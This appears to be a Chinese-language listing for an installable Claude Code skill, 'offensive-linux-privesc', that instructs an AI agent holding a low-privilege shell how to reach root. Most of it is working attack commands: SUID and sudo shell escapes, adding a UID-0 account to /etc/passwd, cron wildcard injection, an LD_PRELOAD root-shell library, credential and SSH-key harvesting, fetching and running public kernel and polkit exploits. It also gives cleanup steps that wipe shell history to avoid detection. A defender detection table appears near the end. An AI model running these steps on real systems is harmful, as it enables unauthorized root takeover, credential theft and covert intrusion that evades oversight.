关于 offensive-linux-privesc
面向已获得低权限 Linux Shell 的安全评估人员,提供逐步提权排查方法,涵盖配置错误和易受攻击软件,并强调验证路径及记录检测痕迹。
主要功能
- 01自动化主机枚举
- 02检查 sudo、SUID 和能力
- 03排查 Cron 与服务配置错误
- 04检查 NFS 和 Docker 逃逸
- 05评估内核漏洞利用
- 06验证路径并清理痕迹
适用场景
- 01审计低权限 Linux Shell
- 02排查 sudo 与定时任务弱点
- 03评估内核和容器提权路径
安装
复制下面的命令,在终端中运行。
npx skills add https:/ / github.com/ snailsploit/ claude-red --skill offensive-linux-privesc安装后在 Claude Code 中输入/offensive-linux-privesc确认已加载。
详细介绍
Linux 权限提升
你在 Linux 目标上获得了一个低权限 Shell。你的目标是通过系统化枚举和利用配置错误、存在漏洞的软件及内核缺陷,提升至 root 权限。本技能提供了一套结构化方法,从被动侦察逐步转向更积极的技术,并优先考虑可靠性和隐蔽性。
每次行动都从了解态势开始。弄清楚你已获得哪些权限、系统暴露了什么,以及防御人员能看到什么。将低危发现串联成高影响的提权路径。
快速工作流
- 运行自动化枚举工具(LinPEAS、linux-exploit-suggester),快速发现可利用之处。
- 优先检查 sudo 权限、SUID/SGID 二进制文件和能力——这些是成功概率最高的利用途径。
- 枚举 cron 任务、可写脚本和 PATH 顺序,寻找劫持机会。
- 检查 /etc/passwd、/etc/shadow、服务配置和 SSH 密钥的文件权限。
- 检查是否存在配置了 no_root_squash 的 NFS 共享,以及是否属于 Docker 组。
- 确认内核版本,并将适用的内核漏洞利用作为最后手段进行搜索。
- 验证提权路径,记录利用链,并清理痕迹。
自动化枚举
在手动检查之前,先运行自动化工具,以尽可能全面地发现问题。将输出保存到文件,以便离线审查和交叉比对。
# LinPEAS -- transfer and execute
curl -L https://github.com/peass-ng/PEASS-ng/releases/latest/download/linpeas.sh | sh | tee /dev/shm/linpeas.out
# Minimal execution to reduce noise on monitored systems
./linpeas.sh -s -q 2>/dev/null | tee /dev/shm/linpeas_quiet.out
# Kernel exploit suggestion
./linux-exploit-suggester.sh --uname "$(uname -r)"
# pspy -- monitor processes without root (watches procfs)
./pspy64 -pf -i 1000 | tee /dev/shm/pspy.out
逐节审查 LinPEAS 的输出。重点关注红色和黄色标记,并立即将 SUID 发现与 GTFOBins 交叉比对。
滥用 SUID/SGID 二进制文件
SUID 二进制文件以文件所有者的权限运行。如果文件由 root 所有,那么只要它们允许执行任意命令、读取文件或写入文件,就能直接用于提权。
枚举
# Find all SUID/SGID binaries
find / -perm -4000 -type f 2>/dev/null
find / -perm -2000 -type f 2>/dev/null
find / -perm -u=s -type f -exec ls -la {} \; 2>/dev/null
通过 GTFOBins 利用
# If find is SUID
find . -exec /bin/sh -p \;
# If vim is SUID
vim -c ':!/bin/sh'
# If python3 is SUID
python3 -c 'import os; os.execl("/bin/sh", "sh", "-p")'
# If cp is SUID -- overwrite /etc/passwd
cp /etc/passwd /dev/shm/passwd.bak
echo 'hacker:$(openssl passwd -1 password):0:0::/root:/bin/bash' >> /dev/shm/passwd_modified
cp /dev/shm/passwd_modified /etc/passwd
# If bash is SUID
bash -p
# If nmap (old interactive mode) is SUID
nmap --interactive
!sh
自定义 SUID 二进制文件分析
# Check what libraries a SUID binary loads
ldd /usr/local/bin/custom_suid
strace /usr/local/bin/custom_suid 2>&1 | grep -i open
# Check for relative path calls in the binary
strings /usr/local/bin/custom_suid | grep -E '^[a-z]'
ltrace /usr/local/bin/custom_suid 2>&1
如果 SUID 二进制文件调用其他程序时没有使用绝对路径,就可以通过将恶意目录置于 PATH 前端来劫持该调用。
Linux 能力利用
能力将 root 权限拆分为不同的独立权限单元。具有 cap_setuid 的二进制文件可以将其 UID 改为 0,而无需设置 SUID。
# Find binaries with capabilities set
getcap -r / 2>/dev/null
利用
# cap_setuid on python3
python3 -c 'import os; os.setuid(0); os.system("/bin/bash")'
# cap_setuid on perl
perl -e 'use POSIX qw(setuid); setuid(0); exec "/bin/bash";'
# cap_dac_override on vim (read/write any file)
vim /etc/shadow
# cap_dac_read_search on tar (read any file)
tar czf /dev/shm/shadow.tar.gz /etc/shadow
tar xzf /dev/shm/shadow.tar.gz -C /dev/shm/
管理员经常会忽略能力。它们会出现在 LinPEAS 输出中,但仍值得专门枚举。
Sudo 配置错误
在实际行动中,sudo 规则是最常见的提权途径。获得 Shell 后应立即检查 sudo -l。
# List sudo permissions for current user
sudo -l
sudo --version
cat /etc/sudoers 2>/dev/null
利用 NOPASSWD
# If sudo allows vi/vim NOPASSWD
sudo vim -c '!bash'
# If sudo allows less NOPASSWD
sudo less /etc/shadow
!/bin/bash
# If sudo allows awk NOPASSWD
sudo awk 'BEGIN {system("/bin/bash")}'
# If sudo allows find NOPASSWD
sudo find /tmp -exec /bin/bash \;
# If sudo allows env NOPASSWD (LD_PRELOAD)
# See LD_PRELOAD section below
# If sudo allows a script you can write to
echo '/bin/bash' > /path/to/writable_script.sh
sudo /path/to/writable_script.sh
# If sudo allows running as another user
sudo -u targetuser /bin/bash
Baron Samedit——CVE-2021-3156
# Check if vulnerable (sudo 1.8.2 through 1.8.31p2, 1.9.0 through 1.9.5p1)
sudoedit -s '\' $(python3 -c 'print("A"*1000)')
# If it crashes/segfaults, it is likely vulnerable
# Exploit (multiple public PoCs available)
git clone https://github.com/blasty/CVE-2021-3156.git
cd CVE-2021-3156
make
./sudo-hax-me-a-sandwich <target_number>
# Check target OS for correct offset
cat /etc/os-release
sudoedit 中的这一堆缓冲区溢出漏洞影响众多 Linux 发行版。无需任何 sudo 权限即可直接获得 root 访问权限。
滥用 Cron 任务
Cron 任务会按计划以 cron 所有者的权限运行。可写脚本、PATH 配置错误和通配符展开都可能形成提权路径。
枚举
# System crontabs
cat /etc/crontab
ls -la /etc/cron.d/
ls -la /etc/cron.daily/ /etc/cron.hourly/ /etc/cron.weekly/ /etc/cron.monthly/
# User crontabs
crontab -l
ls -la /var/spool/cron/crontabs/ 2>/dev/null
# Use pspy to discover hidden cron jobs
./pspy64 -pf -i 1000
# Check for writable scripts called by cron
for f in $(grep -r '/' /etc/crontab /etc/cron.d/ 2>/dev/null | grep -oP '/\S+'); do
ls -la "$f" 2>/dev/null
done
可写的 Cron 脚本
# If a root cron job calls a writable script
echo 'cp /bin/bash /tmp/rootbash && chmod +s /tmp/rootbash' >> /path/to/writable_cron_script.sh
# Wait for cron execution, then
/tmp/rootbash -p
劫持 Cron 中的 PATH
# If crontab has PATH=/home/user/bin:/usr/local/sbin:...
# And a cron job calls "backup.sh" without full path
echo '#!/bin/bash' > /home/user/bin/backup.sh
echo 'cp /bin/bash /tmp/rootbash && chmod +s /tmp/rootbash' >> /home/user/bin/backup.sh
chmod +x /home/user/bin/backup.sh
通配符注入
# If a root cron job runs: tar czf /backup/archive.tar.gz *
# In the target directory, create files that become tar flags
cd /target/directory
echo '' > '--checkpoint=1'
echo '' > '--checkpoint-action=exec=sh privesc.sh'
echo '#!/bin/bash' > privesc.sh
echo 'cp /bin/bash /tmp/rootbash && chmod +s /tmp/rootbash' >> privesc.sh
chmod +x privesc.sh
# Similar attack with rsync wildcard
echo '' > '-e sh privesc.sh'
# Similar attack with chown (e.g., chown user:user *)
echo '' > '--reference=/path/to/attacker_owned_file'
可写的 /etc/passwd
如果 /etc/passwd 可被所有用户写入(这是严重的配置错误),你可以直接添加一个拥有 root 等效权限的用户。
# Check permissions
ls -la /etc/passwd
# Generate password hash
openssl passwd -1 -salt hacker password123
# Output: $1$hacker$6luIRwdGpBvXdP.GMwcZp/
# Append a new root user
echo 'hacker:$1$hacker$6luIRwdGpBvXdP.GMwcZp/:0:0::/root:/bin/bash' >> /etc/passwd
# Or replace root's password hash (more detectable)
# Switch to the new user
su hacker
# Password: password123
# Alternative: use mkpasswd if available
mkpasswd -m sha-512 password123
利用 NFS no_root_squash
如果 NFS 导出配置了 no_root_squash,远程 root 用户在共享目录上仍保留 root 权限。因此,可以从攻击者控制的机器创建 SUID 二进制文件。
# On the target -- enumerate NFS shares
cat /etc/exports
showmount -e localhost
# Look for no_root_squash
grep -i "no_root_squash" /etc/exports
# On your attack machine (as root)
mkdir /tmp/nfs_mount
mount -t nfs target_ip:/shared_directory /tmp/nfs_mount
# Create a SUID shell
cp /bin/bash /tmp/nfs_mount/rootbash
chmod +s /tmp/nfs_mount/rootbash
# On the target
/shared_directory/rootbash -p
内核漏洞利用
内核漏洞利用影响大,但有稳定性风险。仅在没有更稳妥的利用途径时使用。务必先检查内核版本和发行版。
指纹识别
uname -a
uname -r
cat /etc/os-release
cat /proc/version
DirtyPipe——CVE-2022-0847
# Affects Linux kernel 5.8 through 5.16.10, 5.15.25, 5.10.102
# Overwrites read-only files by splicing into page cache
# Compile the exploit
gcc -o dirtypipe exploit.c
./dirtypipe /etc/passwd 1 "${replacement_line}"
# Or use the SUID variant
gcc -o dirtypipez dirtypipez.c
./dirtypipez
# Spawns a root shell by overwriting a SUID binary temporarily
DirtyCow——CVE-2016-5195
# Affects Linux kernel 2.x through 4.x before 4.8.3
# Race condition in copy-on-write mechanism
# The /etc/passwd overwrite variant
gcc -pthread dirty.c -o dirty -lcrypt
./dirty password123
# Overwrites root entry in /etc/passwd
# The SUID binary variant (firefart)
gcc -pthread cowroot.c -o cowroot
./cowroot
PwnKit -- CVE-2021-4034
# Affects polkit pkexec (virtually all Linux distros with polkit installed)
# Memory corruption via crafted environment variables
# Compile and run
gcc -shared -fPIC -o pwnkit.so pwnkit.c
gcc -o pwnkit exploit.c
./pwnkit
# One-liner PoC (if available)
curl -fsSL https://raw.githubusercontent.com/ly4k/PwnKit/main/PwnKit -o PwnKit
chmod +x PwnKit
./PwnKit
内核漏洞利用可能导致系统崩溃。在生产目标上,请确认准确的内核版本,先在实验环境中测试,并准备回滚方案。为提高稳定性,优先使用 DirtyPipe SUID 变体或 PwnKit。
Docker 组逃逸
加入 docker 组可获得实际的 root 访问权限。Docker 允许将主机文件系统挂载到容器中。
# Confirm group membership
id
groups
# Mount the host root filesystem
docker run -v /:/hostfs -it ubuntu /bin/bash
# Inside the container, access host filesystem
cat /hostfs/etc/shadow
chroot /hostfs /bin/bash
# Create a SUID bash on the host
cp /hostfs/bin/bash /hostfs/tmp/rootbash
chmod +s /hostfs/tmp/rootbash
# Alternative: use docker socket directly
docker run -v /:/mnt --rm -it alpine chroot /mnt sh
加入 LXD/LXC 组会带来类似的攻击面。创建特权容器并挂载主机文件系统。
LD_PRELOAD 和 LD_LIBRARY_PATH 劫持
当 sudo 保留 env_keep += LD_PRELOAD 或 env_keep += LD_LIBRARY_PATH 时,你可以注入一个共享库,以 root 身份执行任意代码。
LD_PRELOAD
// preload.c -- compile and load via sudo
#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>
void _init() {
unsetenv("LD_PRELOAD");
setresuid(0, 0, 0);
system("/bin/bash -p");
}
# Compile
gcc -fPIC -shared -nostartfiles -o /tmp/preload.so preload.c
# Execute with sudo (requires env_keep += LD_PRELOAD in sudoers)
sudo LD_PRELOAD=/tmp/preload.so /usr/bin/any_allowed_command
LD_LIBRARY_PATH
# Find shared libraries used by a sudo-allowed binary
ldd /usr/sbin/apache2
# Create a malicious replacement
# Target a library like libcrypt.so.1
gcc -fPIC -shared -o /tmp/libcrypt.so.1 preload.c
# Execute with sudo
sudo LD_LIBRARY_PATH=/tmp /usr/sbin/apache2
你也可以劫持 SUID 二进制文件加载的共享库。使用 strace 查找从可写目录加载但缺失的库,然后将恶意 .so 放在那里。
服务配置错误
由 root 身份运行的服务所引用的可写服务文件或二进制文件会带来提权机会。
# Find writable service files
find /etc/systemd/system/ /lib/systemd/system/ /etc/init.d/ -writable -type f 2>/dev/null
# Overwrite a writable service binary
cp /path/to/service_binary /path/to/service_binary.bak
echo -e '#!/bin/bash\ncp /bin/bash /tmp/rootbash && chmod +s /tmp/rootbash\n/path/to/service_binary.bak "$@"' > /path/to/service_binary
chmod +x /path/to/service_binary
# Create a malicious systemd service (if you can write to the service directory)
cat << 'EOF' > /etc/systemd/system/escalate.service
[Unit]
Description=Escalation
[Service]
Type=oneshot
ExecStart=/bin/bash -c 'cp /bin/bash /tmp/rootbash && chmod +s /tmp/rootbash'
[Install]
WantedBy=multi-user.target
EOF
systemctl daemon-reload && systemctl start escalate.service
敏感文件枚举
从文件中收集凭据可用于横向移动,或直接找到提权路径。
# SSH keys
find / -name "id_rsa" -o -name "id_ed25519" -o -name "*.pem" 2>/dev/null
find / -name "authorized_keys" 2>/dev/null
# History files
cat ~/.bash_history
find / -name ".*history" -exec cat {} \; 2>/dev/null
# Configuration files with credentials
grep -rl "pass\|pwd\|token\|secret\|key" /etc/ /opt/ /var/www/ /home/ 2>/dev/null
cat /var/www/*/wp-config.php /var/www/*/.env 2>/dev/null
# Backup files and shadow
find / -name "*.bak" -o -name "*.old" -o -name "*.backup" 2>/dev/null
cat /etc/shadow 2>/dev/null
ls -la /etc/shadow
检测 / 防御者视角
上述每种技术都会留下痕迹。了解检测面有助于你更谨慎地行动,也有助于蓝队构建监控机制。
| 技术 | 检测指标 |
|---|---|
| LinPEAS/枚举 | 执行 curl 并通过管道传递给 sh 的进程;对 /proc、/etc、/sys 的文件进行大量突发访问 |
| SUID 滥用 | 从异常父进程执行 SUID 二进制文件;在 SUID 上下文中生成 shell |
| capabilities 滥用 | 非 SUID 进程意外调用 setuid(0);审计日志中使用 CAP_SETUID 的记录 |
| Sudo 利用 | 身份验证日志中显示 sudo 被用于执行异常命令;sudoers 文件的修改时间戳 |
| CVE-2021-3156 | sudoedit 崩溃日志、核心转储、审计日志中的堆损坏特征 |
| Cron 劫持 | 被修改的 cron 脚本(完整性监控);文件名带有 tar 标志的新文件 |
| 写入 /etc/passwd | 文件完整性监控告警、新增的 UID 0 条目、inotify 监视 |
| NFS SUID 创建 | NFS 挂载中出现新的 SUID 文件;服务器上的 NFS 审计日志 |
| 内核漏洞利用 | 内核 oops/panic 消息、意外生成的 root 进程、崩溃转储 |
| Docker 逃逸 | Docker API 调用、创建挂载主机目录的容器、访问 docker.sock |
| LD_PRELOAD | 环境变量日志、审计日志中出现意外的共享库加载 |
关键日志位置:
# Defenders should monitor
/var/log/auth.log # sudo usage, su attempts, authentication events
/var/log/syslog # system events, cron execution
/var/log/kern.log # kernel exploits, crashes
/var/log/audit/audit.log # auditd events (execve, capability use, file access)
journalctl -u <service> # per-service systemd logs
实战速查表
PHASE 1 -- ENUMERATE
sudo -l # First command. Always.
id && groups # Docker/lxd group?
find / -perm -4000 -type f 2>/dev/null # SUID binaries
getcap -r / 2>/dev/null # Capabilities
cat /etc/crontab && ls -la /etc/cron.* # Cron jobs
ls -la /etc/passwd /etc/shadow # File permissions
cat /etc/exports 2>/dev/null # NFS shares
uname -a && cat /etc/os-release # Kernel version
PHASE 2 -- QUICK WINS
GTFOBins lookup for SUID/sudo binaries # https://gtfobins.github.io
sudo vim -c '!bash' # Sudo escape
python3 -c 'import os;os.setuid(0);os.system("/bin/bash")' # cap_setuid
bash -p # SUID bash
PHASE 3 -- ESCALATION
Writable cron script injection
PATH hijack in cron or SUID binary
LD_PRELOAD via sudo env_keep
Docker mount host filesystem
/etc/passwd append (if writable)
PHASE 4 -- KERNEL (last resort)
linux-exploit-suggester.sh
DirtyPipe -> kernel 5.8-5.16
PwnKit -> polkit pkexec (most distros)
DirtyCow -> kernel 2.x-4.x
Baron Samedit -> sudo 1.8.2-1.9.5p1
CLEANUP
Remove SUID shells from /tmp
Restore modified files from backups
Clear command history: history -c && unset HISTFILE
Remove uploaded tools from /dev/shm, /tmp
关键参考资料
- GTFOBins -- 用于提权的 Unix 二进制文件:https://gtfobins.github.io
- LinPEAS -- Linux 提权优秀脚本:https://github.com/peass-ng/PEASS-ng
- linux-exploit-suggester:https://github.com/The-Z-Labs/linux-exploit-suggester
- pspy -- 非特权 Linux 进程窥探工具:https://github.com/DominicBreuker/pspy
- HackTricks Linux 提权:https://book.hacktricks.xyz/linux-hardening/privilege-escalation
- CVE-2021-3156(Baron Samedit):https://nvd.nist.gov/vuln/detail/CVE-2021-3156
- CVE-2022-0847(DirtyPipe):https://dirtypipe.cm4all.com/
- CVE-2016-5195(DirtyCow):https://dirtycow.ninja/
- CVE-2021-4034(PwnKit):https://blog.qualys.com/vulnerabilities-threat-research/2022/01/25/pwnkit-local-privilege-escalation-vulnerability-discovered-in-polkits-pkexec-cve-2021-4034
- MITRE ATT&CK T1548 -- 滥用权限提升控制机制:https://attack.mitre.org/techniques/T1548/